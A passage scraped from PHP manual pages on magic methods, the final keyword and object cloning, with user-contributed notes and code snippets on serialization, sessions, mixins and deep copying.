      if(empty($_SESSION["_classes"]))
        $_SESSION["_classes"]=array();

      if(empty($_SESSION["_classes"][$name]))
        $_SESSION["_classes"][$name]=new Classes($name);

      foreach($statics as $k=>$v)
        $_SESSION["_classes"][$name]->setStatic($k,$v);
    }
  }
}
register_shutdown_function('storeStaticAttributes');
?>
Travis Swicegood 08-May-2007 07:43
There is no need to use eval() to mimic mixins (i.e., multiple inheritance) within PHP 5.  You only need to:

<?php

class MyClass
{
    private $_obj = null;
    public function __construct($obj)
    {
        $this->_obj = $obj;
    }

    public function __call($method, $args)
    {
        if (!method_exists($this->_obj, $method)) {
            throw new Exception("unknown method [$method]");
        }

        return call_user_func_array(
            array($this->_obj, $method),
            $args
        );
    }
}

?>

You could just as easily add an addMixin() method that would allow you to add multiple objects to an array, and then iterate over that array until you found the right method.  As noted, these are referred to as a Mixins in other languages.
adar at darkpoetry dot de 04-May-2007 06:09
Maybe not really new and all in all definitely not the best solution,but if you cant extend a class (if your class alreay extends an abstract or other things like that) you can 'fake' a extend.

<?php
class MyClass
        extends SomeAbstractUnknownClass {

    private $classObject;

    public function __construct ( classObject $classToExtend ) {
        $this->classObject = $classToExtend;
    }

    public function __call($func, $var) {
        if ( !count($var) ) {
            return $this->classObject->$func($var);
        } else {
            $str = '';
            $values = array_values($var);
            for ( $i=0; $i<count($values); $i++ ) {
                $str .= "'".$values[$i]."' ,";
            }
            $str = substr($str, 0, -2);
            return eval('return $this->classObject->'.$func.'('.$str.');');
        }
    }
}
?>

So if you'll do a $myClass->unknownMethod() and it is found neither in MyClass nor in SomeAbstractUnknownClass, MyClass will try to call this method in $classObject.

I use this for 'extending' a UserObject-Class which already extends an other one.

Better solutions are always welcome ;)
Dérico Filho 23-Jan-2007 07:33
Since PHP 5.2.0, you'll always get an error like this:
"Object of class foo could not be converted to string"

When one tries to use an object as string, for instance:

class Test{}
echo new Test();

Thus, one way to avoid this problem is to programme the magic method __toString.

However, in the older versions, it would output a string saying that it was an object together a unique obj id. Therefore, the __toString() method must comply with this behaviour.

My suggestion:

class Test{
    function __toString(){
        if(!isset($this->__uniqid))
            $this->__uniqid = md5(uniqid(rand(), true));
        return(get_class($this)."@".$this->__uniqid);
    }

}

echo new Test();

would output something like this:

Test@6006ba04f5569544c10a588b04849cf7
jstubbs at work-at dot co dot jp 02-Sep-2006 12:32
$myclass->foo['bar'] = 'baz';

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);

Therefore, the above won't do anything if your __get implementation resembles this:

function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}

You will actually need to set the value in __get and return that, as in the following code:

function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
taylorbarstow at google's mail service 15-May-2006 01:54
I've just come accross something interesting relating to storing PHP5 objects in a session.  If you don't provide an __autoload(), then you MUST load the class definition before calling session_start().  I guess that when you call session_start(), any objects in the session are unserialized then and there and placed into $_SESSION.  If you don't provide the class definition before calling session_start(), your object will get the class __PHP_Incomplete_Class, and you won't be able to use it for anything.

Examples:

<?php
session_start();
require_once 'MyClass.php';
$obj = new MyClass;
$_SESSION['obj'] = $obj;
?>

Works fine.  Then on a subsequent page load:

<?php
session_start();
require_once 'MyClass.php';
$_SESSION['obj']->callSomeMethod();
?>

Fatal error:  The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition.

But if you do this instead, it works fine:

<?php
require_once 'MyClass.php';
session_start();
$_SESSION['obj']->callSomeMethod();
?>

Hopefully in some future release of PHP, __PHP_Incomplete_Class will be smart enough to check for a class definition at time of use (method call or property operation), and, if the class exists, magically "complete" itself and turn into the desired object.
rayRO 02-Apr-2006 09:55
If you use the Magical Method '__set()', be shure that the call of
<?php
$myobject->test['myarray'] = 'data';
?>
will not appear!

For that u have to do it the fine way if you want to use __set Method ;)
<?php
$myobject->test = array('myarray' => 'data');
?>

If a Variable is already set, the __set Magic Method already wont appear!

My first solution was to use a Caller Class.
With that, i ever knew which Module i currently use!
But who needs it... :]
There are quiet better solutions for this...
Here's the Code:

<?php
class Caller {
    public $caller;
    public $module;

    function __call($funcname, $args = array()) {
        $this->setModuleInformation();

        if (is_object($this->caller) && function_exists('call_user_func_array'))
            $return = call_user_func_array(array(&$this->caller, $funcname), $args);
        else
            trigger_error("Call to Function with call_user_func_array failed", E_USER_ERROR);

        $this->unsetModuleInformation();
        return $return;
    }

    function __construct($callerClassName = false, $callerModuleName = 'Webboard') {
        if ($callerClassName == false)
            trigger_error('No Classname', E_USER_ERROR);

        $this->module = $callerModuleName;

        if (class_exists($callerClassName))
            $this->caller = new $callerClassName();
        else
            trigger_error('Class not exists: \''.$callerClassName.'\'', E_USER_ERROR);

        if (is_object($this->caller))
        {
            $this->setModuleInformation();
            if (method_exists($this->caller, '__init'))
                $this->caller->__init();
            $this->unsetModuleInformation();
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
    }

    function __destruct() {
        $this->setModuleInformation();
        if (method_exists($this->caller, '__deinit'))
            $this->caller->__deinit();
        $this->unsetModuleInformation();
    }

    function __isset($isset) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $return = isset($this->caller->{$isset});
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function __unset($unset) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$unset}))
                unset($this->caller->{$unset});
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __set($set, $val) {
        $this->setModuleInformation();
        if (is_object($this->caller))
            $this->caller->{$set} = $val;
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
    }

    function __get($get) {
        $this->setModuleInformation();
        if (is_object($this->caller)) {
            if (isset($this->caller->{$get}))
                $return = $this->caller->{$get};
            else
                $return = false;
        }
        else
            trigger_error('Caller is no object!', E_USER_ERROR);
        $this->unsetModuleInformation();
        return $return;
    }

    function setModuleInformation() {
        $this->caller->module = $this->module;
    }

    function unsetModuleInformation() {
        $this->caller->module = NULL;
    }
}

// Well this can be a Config Class?
class Config {
    public $module;

    public $test;

    function __construct()
    {
        print('Constructor will have no Module Information... Use __init() instead!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
        $this->test = '123';
    }

    function __init()
    {
        print('Using of __init()!<br />');
        print('--> '.print_r($this->module, 1).' <--');
        print('<br />');
        print('<br />');
    }

    function testFunction($test = false)
    {
        if ($test != false)
            $this->test = $test;
    }
}

echo('<pre>');
$wow = new Caller('Config', 'Guestbook');
print_r($wow->test);
print('<br />');
print('<br />');
$wow->test = '456';
print_r($wow->test);
print('<br />');
print('<br />');
$wow->testFunction('789');
print_r($wow->test);
print('<br />');
print('<br />');
print_r($wow->module);
echo('</pre>');
?>

Outputs something Like:

Constructor will have no Module Information... Use __init() instead!
-->  <--

Using of __init()!
--> Guestbook <--

123

456

789

Guestbook
ksamvel at gmail dot com 10-Feb-2006 09:29
To copy base part of derived class appropriate method in base should be defined. E.g.:

  class A {
    public function setAVar( $oAVar) { $this->oAVar = $oAVar; }
    public function getAVar() { return $this->oAVar; }

    public function copyA( &$roDest) {
      if( $roDest instanceof A)
        $this->oAVar = $roDest->oAVar;
    }

    private $oAVar;
  }

  class B extends A {
    public function setBVar( $oBVar) { $this->oBVar = $oBVar; }
    public function getBVar() { return $this->oBVar; }

    private $oBVar;
  }

  $oA = new A();
  $oB = new B();

  $oA->setAVar( 4);

  $oB->setAVar( 5);
  $oB->setBVar( 6);
  echo "oA::oAVar " . $oA->getAVar() . "<br>";
  echo "oB::oAVar " . $oB->getAVar() . "<br>";
  echo "oB::oBVar " . $oB->getBVar() . "<br>";
  echo "<br>";

  $oB->copyA( $oA);

  echo "oA::oAVar " . $oA->getAVar() . "<br>";
  echo "oB::oAVar " . $oB->getAVar() . "<br>";
  echo "oB::oBVar " . $oB->getBVar() . "<br>";

Output:

oA::oAVar 4
oB::oAVar 5
oB::oBVar 6

oA::oAVar 4
oB::oAVar 4
oB::oBVar 6
b dot schoppmeier at bas-consult dot de 26-Jan-2006 03:18
The sequence of events regarding __sleep and __destruct is unusual __ as __destruct is called before __sleep. The following code snippet:

<?php
$sequence = 0;
class foo {
    public $stuff;
    public function __construct($param) {
        global $sequence;
        echo "Seq: ", $sequence++, " - constructor\n";
        $this->stuff = $param;
    }
    public function __destruct() {
        global $sequence;
        echo "Seq: ", $sequence++, " - destructor\n";
    }
    public function __sleep() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __sleep\n";
        return array("stuff");
    }
    public function __wakeup() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __wakeup\n";
    }
}
session_start();
$_SESSION["obj"] = new foo("A foo");
?>

yields the output:

Seq: 0 - constructor
Seq: 1 - destructor
Seq: 2 - __sleep

Only when you end your script with a call to session_write_close() as in:

<?php
$sequence = 0;
class foo {
    public $stuff;
    public function __construct($param) {
        global $sequence;
        echo "Seq: ", $sequence++, " - constructor\n";
        $this->stuff = $param;
    }
    public function __destruct() {
        global $sequence;
        echo "Seq: ", $sequence++, " - destructor\n";
    }
    public function __sleep() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __sleep\n";
        return array("stuff");
    }
    public function __wakeup() {
        global $sequence;
        echo "Seq: ", $sequence++, " - __wakeup\n";
    }
}
session_start();
$_SESSION["obj"] = new foo("A foo");
session_write_close();
?>

the sequence is as common sense would expect it to be as the following output shows:

Seq: 0 - constructor
Seq: 1 - __sleep
Seq: 2 - destructor
docey 09-Dec-2005 08:44
about __sleep and _wakeup, consider using a method like this:

class core
{

 var $sub_core; //ref of subcore
 var $_sleep_subcore; // place where serialize version of sub_core will be stored

 function core(){
  $this->sub_core = new sub_core();
  return true;
 }

 function __wakeup()
 {
  // on wakeup of core, core unserializes sub_core
  // wich it had stored when it was serialized itself
  $this->sub_core = unserialize($this->_sleep_subcore);
  return true;
 }

 function __sleep()
 {
  // sub_core will be serialized when core is serialized.
  // the serialized subcore will be stored as a string inside core.
   $this->_sleep_subcore = serialize($this->sub_core);
   $return_arr[] = "_sleep_subcore";
   return $return_arr;
 }

}

class sub_core
{
 var $info;

 function sub_core()
 {
  $this->info["somedata"] = "somedata overhere"
 }

 function __wakeup()
 {
  return true;
 }

 function __sleep()
 {
  $return_arr[] = "info"
  return $return_arr;
 }

}

this way subcore is being serialized by core when core is being serialized. subcore handles its own data and core stores it as a serialize string inside itself. on wakeup core unserializes subcore.

this may have a performance cost, but if you have many objects connected this way this is the best way of serializing them. you only need to serialize the the main object wich will serialize all those below which will serialize all those below them again. in effect causing a sort of chainreaction in wich each object takes care of its own info.

offcoarse you always need to store the eventualy serialized string in a safe place. somebody got experience with this way of __wakeup and __sleep.

works in PHP4&5
martin dot goldinger at netserver dot ch 15-Aug-2005 04:47
When you use sessions, its very important to keep the sessiondata small, due to low performance with unserialize. Every class shoud extend from this class. The result will be, that no null Values are written to the sessiondata. It will increase performance.

<?
class BaseObject
{
    function __sleep()
    {
        $vars = (array)$this;
        foreach ($vars as $key => $val)
        {
            if (is_null($val))
            {
                unset($vars[$key]);
            }
        }
        return array_keys($vars);
    }
};
?>
jeffxlevy at gmail dot com 13-Aug-2005 06:26
Intriguing what happens when __sleep() and __wakeup() and sessions() are mixed. I had a hunch that, as session data is serialized, __sleep would be called when an object, or whatever, is stored in _SESSION. true. The same hunch applied when session_start() was called. Would __wakeup() be called? True. Very helpful, specifically as I'm building massive objects (well, lots of simple objects stored in sessions), and need lots of automated tasks (potentially) reloaded at "wakeup" time. (for instance, restarting a database session/connection).
mastabog at hotmail dot com 12-Aug-2005 05:06
In reply to krisj1010 at gmail.com below:

__sleep() handles protected/private properties very well. You should never rely on get_class_vars() to retrieve property names since this function only returns the public properties. Use the Reflection API instead for that purpose. Better yet, if you know which ones you want to save it is always faster to specify the return array manually.
Domenic Denicola 23-Jun-2005 08:52
This small sentence tripped me up for a half an hour:

"It is worth noting that the __toString method will only be called when it is directly combined with echo() or print()."

So code like this will _not_ work, even though you might think it would:

<?

//$x is some variable with a __toString method defined.
$y = "x's value is: " . $x;
$y = "x's value is: " . (string)$x;

?>

In _em_ both situations, $y will contain "x's value is: Object id #42" (or whatever object ID). So, the only recourse I guess is this:

<?

$y = "x's value is: " . $x->__toString();

?>
elias 11-Apr-2005 09:48
The default toString output is very useful for visual debuggin
because it shows the object id.
There is no function to resolve the id directly(?), but you
can do this:

<?php
function __toString()
{
    sscanf((string)$this, "Object id #%d", $id);
    return "Object(Template) id #$id";
}
?>

HTH,
elias
ddavenport at newagedigital dot com 26-Jan-2005 11:09
One of the principles of OOP is encapsulation--the idea that an object should handle its own data and no others'.  Asking base classes to take care of subclasses' data, esp considering that a class can't possibly know how many dozens of ways it will be extended, is irresponsible and dangerous.

Consider the following...

<?php
class SomeStupidStorageClass
{
  public function getContents($pos, $len) { ...stuff... }
}

class CryptedStorageClass extends SomeStupidStorageClass
{
  private $decrypted_block;
  public function getContents($pos, $len) { ...decrypt... }
}
?>

If SomeStupidStorageClass decided to serialize its subclasses' data as well as its own, a portion of what was once an encrypted thingie could be stored, in the clear, wherever the thingie was stored.  Obviously, CryptedStorageClass would never have chosen this...but it had to either know how to serialize its parent class's data without calling parent::_sleep(), or let the base class do what it wanted to.

Considering encapsulation again, no class should have to know how the parent handles its own private data.  And it certainly shouldn't have to worry that users will find a way to break access controls in the name of convenience.

If a class wants both to have private/protected data and to survive serialization, it should have its own __sleep() method which asks the parent to report its own fields and then adds to the list if applicable.  Like so....

<?php

class BetterClass
{
  private $content;

  public function __sleep()
  {
    return array('basedata1', 'basedata2');
  }

  public function getContents() { ...stuff... }
}

class BetterDerivedClass extends BetterClass
{
  private $decrypted_block;

  public function __sleep()
  {
    return parent::__sleep();
  }

  public function getContents() { ...decrypt... }
}

?>

The derived class has better control over its data, and we don't have to worry about something being stored that shouldn't be.
krisj1010 at gmail.com 09-Jan-2005 12:09
If you are attempting to write an abstract/base class which automates the __sleep process in PHP5 you will run into some trouble if the subclasses which are being serialized have private/protected variables you need to be serialized.

The reason is, even though get_class($this) within the base class will return the subclass -- get_class_vars(get_class($this)) will *not* return the subclass' protected/private variables.  Which makes sense -- using OO principles.

However, when automating __sleep it becomes necissary to have access to the private/protected subclass variables because their names have to be returned by __sleep.

So here is the work around:
<?php
public function __sleep()
{
 ... code ...
$sleepVars    = array_keys((array)$this);
return $sleepVars;
}
?>

Even though array_keys includes more information about the variable names than just the variable names -- it still seems to work appropriately.
Patterns
Final Keyword
Classes and Objects


Final Keyword

PHP 5 introduces the final keyword, which prevents child classes from overriding a method by prefixing the definition with final. If the class itself is being defined final then it cannot be extended.

Example #1 Final methods example

<?php
class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
   public function moreTesting() {
       echo "ChildClass::moreTesting() called\n";
   }
}
// Results in Fatal error: Cannot override final method BaseClass::moreTesting()
?>

Example #2 Final class example

<?php
final class BaseClass {
   public function test() {
       echo "BaseClass::test() called\n";
   }

   // Here it doesn't matter if you specify the function as final or not
   final public function moreTesting() {
       echo "BaseClass::moreTesting() called\n";
   }
}

class ChildClass extends BaseClass {
}
// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass)
?>

Note: Properties cannot be declared final, only classes and methods may be declared as final.

User Contributed Notes

Anonymous 28-Sep-2010 07:06
The behaviour of FINAL is not as serious as you may think. A little explample:
<?php
class A {
     final private function method(){}
}

class B extends A {
    private function method(){}
}
?>

Normally you would expect some of the following will happen:
- An error that final and private keyword cannot be used together
- No error as the private visibility says, that a method/var/etc. is only visible within the same class

But what happens is PHP is a little curios: "Cannot override final method A::method()"

So its possible to deny method names in subclasses! Don't know if this is  a good behavior, but maybe its useful for your purpose.
Baldurien 31-Aug-2010 01:37
"Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'."

http://php.net/manual/en/language.oop5.constants.php

This is more or less true, regardless of the fact that constant (being defined at class level or not) in PHP are only scalar (int, string, etc) while in Java they may be pure object (ex: java.awat.Color.BLACK). The only possible solution of having such kind of constant is :

<?php
class Bar {...}
class Foo {
  public static $FOOBAR;

  static function __init() {
    static $init = false;
    if ($init) throw new Exception('Constants were already initialized');
    self::$FOOBAR = new Bar();
    $init = true;
  }
}
Foo::__init();
?>
That said, perhaps it is useless unless PHP automatically calls the __init() method.

However, one alternative that could be done in certain case is this :

<?php
function __autoload($className) {
  ... require the file where the class is ...
  if (interface_exists($className, false)) return;
  if (class_exists($className, false)) {
    $rc = new ReflectionClass($className);
    if (!$rc->hasMethod('__init')) return;
    $m = $rc->getMethod('__init');
    if (!($m->isStatic() && $m->isPrivate())) {
      throw new Exception($className . ' __init() method must be private and static !');
    }
    $m->invoke(null);
    return;
  }
  throw new Exception('Class or interface not found ' . $className);
}
?>

This can only work when one class is defined per file, since we are assured that __autoload() will be called to load the file containing the class.

eg:

test2.php:
<?php
class B {
 public static $X;
 private static function __init() {
   echo 'B', "\n";
   self::$X = array(1, 2);
 }
}
class A {
  public static $Y;
  private static function __init() {
    echo 'A', "\n";
    self::$Y = array(3, 4);
  }
}
?>
test.php:
<?php
function __autoload($n) {
  if ($n == 'A' || $n == 'B') require 'test2.php';
  ... do our __init() trick ...
}
var_dump(B::$X); // shows B, then array(2) (1, 2)
var_dump(A::$Y); // shows NULL.
?>
Kiam 31-Jul-2009 04:49
The final keyword doesn't change the visibility of a property / method, which is public by default.
jriddy at gmail dot com 17-Jul-2009 02:20
Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'.

http://php.net/manual/en/language.oop5.constants.php
sunil dot boodram at gmail dot com 18-Mar-2009 09:54
Using the scope resolution operator, we can easily access constants, static variables, public functions and final functions from Final Classes

Note: even by omitting the "public" keyword from the "nightNews()" method, we can see that the function defaults to public even if prefixed with the keyword final.

<?php
final class news{

  const micCheck = "test1"; // will work
  static public $promptCheck = "test2"; //will work

  //will work
  public function morningNews(){
    print 'good morning world!';
  }

  //will work
  final public function eveningNews(){
    print 'good evening world!';
  }

  //will work
  final function nightNews(){
    print 'good night world!';
  }

}

print news::micCheck; // output: test1
print '<br/>';
print news::$promptCheck; // output: test2
print '<br/>';
print news::morningNews(); // output: good morning world!
print '<br/>';
print news::eveningNews(); // output: good evening world!
print '<br/>';
print news::nightNews(); // output: good night world!
?>
santoshjoshi2003 at yahoo dot co dot in 05-Dec-2008 02:45
The use of final keyword is just like that occurs in Java
In java final has three uses
    1) prevent class Inheritance
    2) prevent method overriding or redifination of
        method in subclass
    3) and to declare constants
 But the third point seems to be missing from the PHP
 I guess, as i am a java developer Currently gaining competence in PHP
slorenzo at clug dot org dot ve 30-Oct-2007 11:13
<?php
class parentClass {
    public function someMethod() { }
}
class childClass extends parentClass {
    public final function someMethod() { } //override parent function
}

$class = new childClass;
$class->someMethod(); //call the override function in chield class
?>
penartur at yandex dot ru 22-Mar-2007 01:39
Note that you cannot ovverride final methods even if they are defined as private in parent class.
Thus, the following example:
<?php
class parentClass {
    final private function someMethod() { }
}
class childClass extends parentClass {
    private function someMethod() { }
}
?>
dies with error "Fatal error: Cannot override final method parentClass::someMethod() in ***.php on line 7"

Such behaviour looks slight unexpected because in child class we cannot know, which private methods exists in a parent class and vice versa.

So, remember that if you defined a private final method, you cannot place method with the same name in child class.
Magic Methods
Object Cloning
Classes and Objects


Object Cloning

Creating a copy of an object with fully replicated properties is not always the wanted behavior. A good example of the need for copy constructors, is if you have an object which represents a GTK window and the object holds the resource of this GTK window, when you create a duplicate you might want to create a new window with the same properties and have the new object hold the resource of the new window. Another example is if your object holds a reference to another object which it uses and when you replicate the parent object you want to create a new instance of this other object so that the replica has its own separate copy.

An object copy is created by using the clone keyword (which calls the object's __clone() method if possible). An object's __clone() method cannot be called directly.

$copy_of_object = clone $object;

When an object is cloned, PHP 5 will perform a shallow copy of all of the object's properties. Any properties that are references to other variables, will remain references.

void __clone ( void )

Once the cloning is complete, if a __clone() method is defined, then the newly created object's __clone() method will be called, to allow any necessary properties that need to be changed.

Example #1 Cloning an object

<?php
class SubObject
{
    static $instances = 0;
    public $instance;

    public function __construct() {
        $this->instance = ++self::$instances;
    }

    public function __clone() {
        $this->instance = ++self::$instances;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // Force a copy of this->object, otherwise
        // it will point to same object.
        $this->object1 = clone $this->object1;
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Original Object:\n");
print_r($obj);

print("Cloned Object:\n");
print_r($obj2);

?>

The above example will output:

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 1
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)
Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 3
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)

User Contributed Notes

walkman at walkman dot pk 13-Oct-2011 05:11
If you want a property that gets the same value in every clone if changed, you can do this simple trick:

<?php

class A
{
    public $name ;

    public function __construct()
    {
        $this->name = & $this->name;
    }
}

$a = new A;
$a->name = "George";

$b = clone $a;
$b->name = "Somebody else";

var_dump($a);
var_dump($b);
?>

this will output:

object(A)#1 (1) {
  ["name"]=>
  &string(13) "Somebody else"
}
object(A)#2 (1) {
  ["name"]=>
  &string(13) "Somebody else"
}

You can change any of the clones property and all of the others will change accordingly.
user at somethiong dot com 01-Apr-2011 04:35
Creating a Deep Copy

<?php
 protected function deepCopy($object){
       return unserialize(serialize($object));
   }// End Function
?>
gratcypalma at gmail dot com 10-Nov-2010 08:12
this is my simple method, use class_alias function
<?php
class Y {
    function __construct($a) {
        $this -> a = $a;
    }
    function __destruct() {
        echo $this -> a;
    }
}

$mam = new Y('Foo');

class_alias('Y', 'bar'); // clone class use class_alias function

$m = new bar('Bar');
?>
jojor at gmx dot net 07-Jun-2010 01:47
Here is test script i wrote to test the behaviour of clone when i have arrays with primitive values in my class - as an additonal test of the note below by jeffrey at whinger dot nl

<pre>
<?php

class MyClass {

    private $myArray = array();
    function pushSomethingToArray($var) {
        array_push($this->myArray, $var);
    }
    function getArray() {
        return $this->myArray;
    }

}

//push some values to the myArray of Mainclass
$myObj = new MyClass();
$myObj->pushSomethingToArray('blue');
$myObj->pushSomethingToArray('orange');
$myObjClone = clone $myObj;
$myObj->pushSomethingToArray('pink');

//testing
print_r($myObj->getArray());     //Array([0] => blue,[1] => orange,[2] => pink)
print_r($myObjClone->getArray());//Array([0] => blue,[1] => orange)
//so array  cloned

?>
</pre>
jeffrey at whinger dot nl 15-Apr-2010 05:41
For me it wasn't very clear to how this cloning of objects really worked so I made this little bit of code:

<?php
class foo
{
    public $test;

    public function test()
    {
        echo 'give us a '.$this->test."<br>\n";
    }
}

class bar
{
    public $foo;

    public function insertFoo($foo)
    {
        $this->foo = $foo;
    }
}

$foo = new foo();

$foo->test = 'foo';

$bar = new bar();

$bar->insertFoo($foo);

$foo->test();

$bar->foo->test();

$foo->test = 'bar';

$foo->test();

$bar->foo->test();

$bar->foo = clone $foo;

$bar->foo->test = 'woop woop';

$foo->test();

$bar->foo->test();

// result:
// give us a foo
// give us a foo
// give us a bar
// give us a bar
// give us a bar
// give us a woop woop
?>
henke at henke37 dot cjb dot net 10-Apr-2010 03:31
Arrays are shallow cloned on assignment, so don't use the clone keyword on them, just assign it to a new variable. That would lead to an error instead.
olivier dot pons at goo dot without dot oo dot mail dot com 18-Mar-2010 10:14
If you think "clone" will create a new instance, thus calling "__constructor", you're wrong. clone seems to only allocate memory for the object cloned, and simply copies the variables memory from the original to the new one (imagine something alike memcpy() in C). Nothing more. Keep in mind you'll have to do all the rest by yourself.
emile at webflow dot nl 02-Mar-2010 01:27
Another gotcha I encountered: like __construct and __desctruct, you must call parent::__clone() yourself from inside a child's __clone() function. The manual kind of got me on the wrong foot here: "An object's __clone() method cannot be called directly."
ben at last dot fm 05-Jun-2009 10:33
Here are some cloning and reference gotchas we came up against at Last.fm.

1. PHP treats variables as either 'values types' or 'reference types', where the difference is supposed to be transparent. Object cloning is one of the few times when it can make a big difference. I know of no programmatic way to tell if a variable is intrinsically a value or reference type. There IS however a non-programmatic ways to tell if an object property is value or reference type:

<?php

class A { var $p; }

$a = new A;
$a->p = 'Hello'; // $a->p is a value type
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello" // <-- no &
}
*/

$ref =& $a->p; // note that this CONVERTS $a->p into a reference type!!
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  &string(5) "Hello" // <-- note the &, this indicates it's a reference.
}
*/

?>

2. unsetting all-but-one of the references will convert the remaining reference back into a value. Continuing from the previous example:

<?php

unset($ref);
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello"
}
*/

?>

I interpret this as the reference-count jumping from 2 straight to 0. However...

2. It IS possible to create a reference with a reference count of 1 - i.e. to convert an property from value type to reference type, without any extra references. All you have to do is declare that it refers to itself. This is HIGHLY idiosyncratic, but nevertheless it works. This leads to the observation that although the manual states that 'Any properties that are references to other variables, will remain references,' this is not strictly true. Any variables that are references, even to *themselves* (not necessarily to other variables), will be copied by reference rather than by value.

Here's an example to demonstrate:

<?php

class ByVal
{
    var $prop;
}

class ByRef
{
    var $prop;
    function __construct() { $this->prop =& $this->prop; }
}

$a = new ByVal;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop remains at 1

$a = new ByRef;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop is now 2

?>
koyama 03-Mar-2009 07:28
The __clone() method for deep cloning by cheetah at tanabi dot org also works when the object to be cloned contains references to itself. This is not the case for any variation of the __clone() method in edit by danbrown at php dot net.

We are taking advantage of the fact that one can serialize an object that references itself.

Example:

<?php
class Foo
{
    function __construct()
    {
        $this->_myself = $this;
    }

    function __clone() {
        foreach ($this as $key => $val) {
            if (is_object($val) || (is_array($val))) {
                $this->{$key} = unserialize(serialize($val));
            }
        }
    }
}

// this object references itself
$foo = new Foo();

// create a deep clone
$bar = clone $foo;

// check if we reach this point
echo 'Finished cloning!';
?>

Replacing the __clone() method with the one shown in edit by danbrown at php dot net we run into an infinite loop, and we never get message 'Finished cloning!'.
cheetah at tanabi dot org 18-Nov-2008 05:15
Want deep cloning without too much hassle?

<?php
function __clone() {
    foreach($this as $key => $val) {
        if(is_object($val)||(is_array($val))){
            $this->{$key} = unserialize(serialize($val));
        }
    }
}
?>

That will insure any object, or array that may potentially contain objects, will get cloned without using recursion or other support methods.

[EDIT BY danbrown AT php DOT net: An almost exact function was contributed on 02-DEC-2008-10:18 by (david ashe AT metabin):

<?php
    function __clone(){
        foreach($this as $name => $value){
            if(gettype($value)=='object'){
                $this->$name= clone($this->$name);
            }
        }
    }
?>

Giving credit where it's due.  ~DPB]
wbcarts at juno dot com 02-Oct-2008 11:41
CLONED ARMIES? USE STATIC DATA

When I think of cloning, I always think of Star Wars "Cloned Army"... where the number of clones are in the hundreds of thousands. So far, I have only seen examples of one or two clones with either shallow, deep, or recursive references. My fix is to use the static keyword. With static, you choose the properties your objects share... and makes scaling up the number of so-called "clones" much easier.

<?php

class Soldier {
  public static $status;           // this is the property I'm trying to clone

  protected static $idCount = 0;   // used to increment ID numbers
  protected $id;                   // each Soldier will have a unique ID

  public function __construct() {
    $this->id = ++self::$idCount;
  }

  public function issueCommand($task) {
    switch($task){
      case 'Deploy Troops': self::$status = 'deploying'; break;
      case 'March Forward': self::$status = 'marching forward'; break;
      case 'Fire!': self::$status = 'shot fired'; break;
      case 'Retreat!': self::$status = 'course reversed'; break;
      default: self::$status = 'at ease'; break;
    }
    echo 'COMMAND ISSUED: ' . $task . '<br>';
  }

  public function __toString() {
    return "Soldier[id=$this->id, status=" . self::$status . ']';
  }
}

# create the General and the Cloned Army
$general = new Soldier();
$platoon = array();
  for($i = 0; $i < 250; $i++) $platoon[] = new Soldier();

# issue commands, then check what soldiers are doing
$general->issueCommand('Deploy Troops');
echo $general . '<br>';
echo $platoon[223] . '<br>';
echo $platoon[12] . '<br>';

$general->issueCommand('March Forward');
echo $platoon[47] . '<br>';
echo $platoon[163] . '<br>';

$general->issueCommand('Fire!');
echo $platoon[248] . '<br>';
echo $platoon[68] . '<br>';

$general->issueCommand('Retreat!');
echo $platoon[26] . '<br>';
echo $platoon[197] . '<br>';
?>

COMMAND ISSUED: Deploy Troops
  Soldier[id=1, status=deploying]
  Soldier[id=225, status=deploying]
  Soldier[id=14, status=deploying]

COMMAND ISSUED: March Forward
  Soldier[id=49, status=marching forward]
  Soldier[id=165, status=marching forward]

COMMAND ISSUED: Fire!
  Soldier[id=250, status=shot fired]
  Soldier[id=70, status=shot fired]

COMMAND ISSUED: Retreat!
  Soldier[id=28, status=course reversed]
  Soldier[id=199, status=course reversed]
Jim Brown 19-Jul-2008 03:34
Regarding the generic deep __clone() example provided by david ashe at metabin:

If your object has a variable that stores an array of objects, that particular __clone() example will NOT perform a deep copy on your array of objects.
alex dot offshore at gmail dot com 19-May-2008 03:23
Remember that in PHP 5 ALL objects are assigned BY REFERENCE.

<?php

  function foo($a) // notice that '&' near $a is missing
  {
    $a['bar'] = 10;
  }

